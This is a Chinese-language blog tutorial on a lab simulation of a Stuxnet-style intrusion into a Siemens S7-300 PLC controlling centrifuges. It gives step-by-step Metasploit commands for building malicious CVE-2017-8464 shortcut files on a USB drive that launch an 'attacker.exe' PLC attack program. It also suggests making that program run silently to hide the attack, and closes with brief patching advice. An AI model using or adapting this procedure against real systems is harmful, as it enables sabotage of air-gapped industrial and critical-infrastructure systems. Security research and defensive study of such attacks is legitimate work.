通过“震网三代”和Siemens PLC 0day漏洞,实现对工控系统的入侵实验

时间:2022-05-05
本文章向大家介绍通过“震网三代”和Siemens PLC 0day漏洞,实现对工控系统的入侵实验,主要内容包括渗透环境:、工程师站:、仿真平台(仿真伊朗核设施的铀浓缩的离心机):、漏洞:、0x00 前言、0x01 漏洞、2 西门子PLC 0 day漏洞、0x02 制作攻击U盘、0x03 攻击、0x04 建议、0x05 参考、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

实验环境

渗透环境:

OS:Kali Linux 2017.3

工程师站:

OS:Windows 7 sp1 x64 IP:192.168.0.152

仿真平台(仿真伊朗核设施的铀浓缩的离心机):

PLC:Siemens S7-300 IP:192.168.0.234

漏洞:

Windows:CVE-2017-8464 PLC:0 day漏洞

0x00 前言

2006年,伊朗重启核设施,为了阻止伊朗此举,美国派出间谍买通伊朗核工厂技术人员,将含有漏洞利用工具的U盘插入了工厂控制系统电脑。紧接着,核工厂大量离心机无缘无故损坏,科学家束手无策,工厂被迫关闭,延迟核计划。这就是2010年曝光的“震网事件(Stuxnet)”。

图2 “震网”事件

而攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。

2011年,“震网二代”出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。

2017年6月14日,微软发布安全公告,修复了可能被黑客利用的Windows快捷方式高危漏洞(CVE-2017-8464),由于其与攻击伊朗核工厂的震网一代利用漏洞相似,被业界普遍称为“震网三代”。

为此,本文结合 “震网三代”漏洞和西门子0 day漏洞两个漏洞组合攻击控制系统的仿真演示,其中“震网三代”漏洞用于触发含有西门子0 day漏洞的poc程序。

其思路:**先把西门子0 day漏洞的poc程序编译成exe文件,然后exploit出含**CVE-2017-8464漏洞的快捷方式,最后把exe程序和快捷方式装载到U盘。

图3 攻击U盘

0x01 漏洞

1 CVE-2017-8464

2017年6月14日,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞。

当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。

特别是能源、交通、金融等行业的基础设施隔离网,由于需要使用U盘、移动硬盘等存储设备进行数据交换,一旦连接含有漏洞( CVE-2017-8464)利用工具的U盘、移动硬盘连接隔离网内的一台电脑,不需要任何操作,电脑就会被病毒控制。

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。

详细介绍参考:www.freebuf.com/news/143353.html。

其影响版本:

Windows 7 Windows 8.1 Windows RT 8.1 Windows 10 Windows Server 2008 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016

2 西门子PLC 0 day漏洞

该0 day漏洞是一个能使离心机的转动异常的漏洞。

通过VS2008编译成名为attacker.exe的文件,该文件运行时,先连接上PLC, 然后发送攻击包,最后导致离心机的转动异常。

图4 攻击程序attacker.exe,配置文件init.txt

为了演示效果,attacker.exe不会静默运行。为了攻击更加完美,你可以使其静默运行。

0x02 制作攻击U盘

目前CVE-2017-8464漏洞可供测试利用的脚本有如下两个:

msf利用脚本:https://github.com/rapid7/metasploit-framework/pull/8767 Python利用脚本:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py

本文着重测试msf脚本,然后将exp拷贝至U盘。下载msf脚本:

$ cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
$ ls -al | grep cve_2017_8464_lnk_rce.rb
# 如果存在,就不需要下载
$ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

生成exp:

> use exploits/windows/fileformat/cve_2017_8464_lnk_rce
> set payload windows/x64/exec
> set dllname attacker.dll
> set filename attacker.lnk
> set cmd e:attacker.exe
> set EXITFUNC thread 
> exploit

注意:

msf脚本默认对应系统Windows x64,所以payload也选择64位的exec。 工程师站PC中的U盘可用的盘符为E盘。

其参数设置如下图5:

图5 参数设置

执行后,在/root/.msf4/local/生成24个利用文件,如下图6:

图6 exploit

图7 攻击文件

将以上文件复制到U盘。为了更好适配d-z盘符,你需要分别设置set cmd d:attacker.exeset cmd z:attacker.exe23个盘符的快捷方式。

Ok,这样攻击U盘就弄好了~

0x03 攻击

万事俱备只欠攻击啦~~~把U盘插入工程师站的一台PC中,然后就看到如下图8所示:

图8 开启U盘自动播放功能,插入U盘后触发漏洞

上图8中的PC是开启了U盘自动播放功能,在U盘插入后,系统自动访问了u盘,所以就触发漏洞。

同样,直接访问目录也会触发漏洞,如下图9所示:

图9 直接访问目录,触发漏洞(此GIF文件过大,请阅读原文查看)

此时,离心机的状态已经异常了(如图10所示),而从控制台看到离心机的状态(如图11所示)是正常的!

图10 离心机状态

图11 控制台中的离心机状态Nice,目前系统已经被攻击了~

0x04 建议

上面实验仿真了伊朗“震网”事件,其主要使用了Windows Lnk远程代码执行漏洞(CVE-2017-8464)和Siemens PLC 0day漏洞。 针对CVE-2017-8464漏洞给出以下几个建议:

安装补丁。目前微软已经发布了“Windows Lnk远程代码执行漏洞(CVE-2017-8464)”的补丁,补丁下载地址:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8464。 若不能及时打补丁,建议禁用U盘、网络共享及关闭Webclient Service,并建议管理员关注是否有业务与上述服务相关并做好恢复准备。 特别是能源、交通、金融等行业需要重视,并及时处理。

0x05 参考

CVE-2017-8464 “震网三代”CVE-2017-8464漏洞分析和预警 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客 “震网三代”(CVE-2017-8464)的几种利用方法与防范 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客 Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com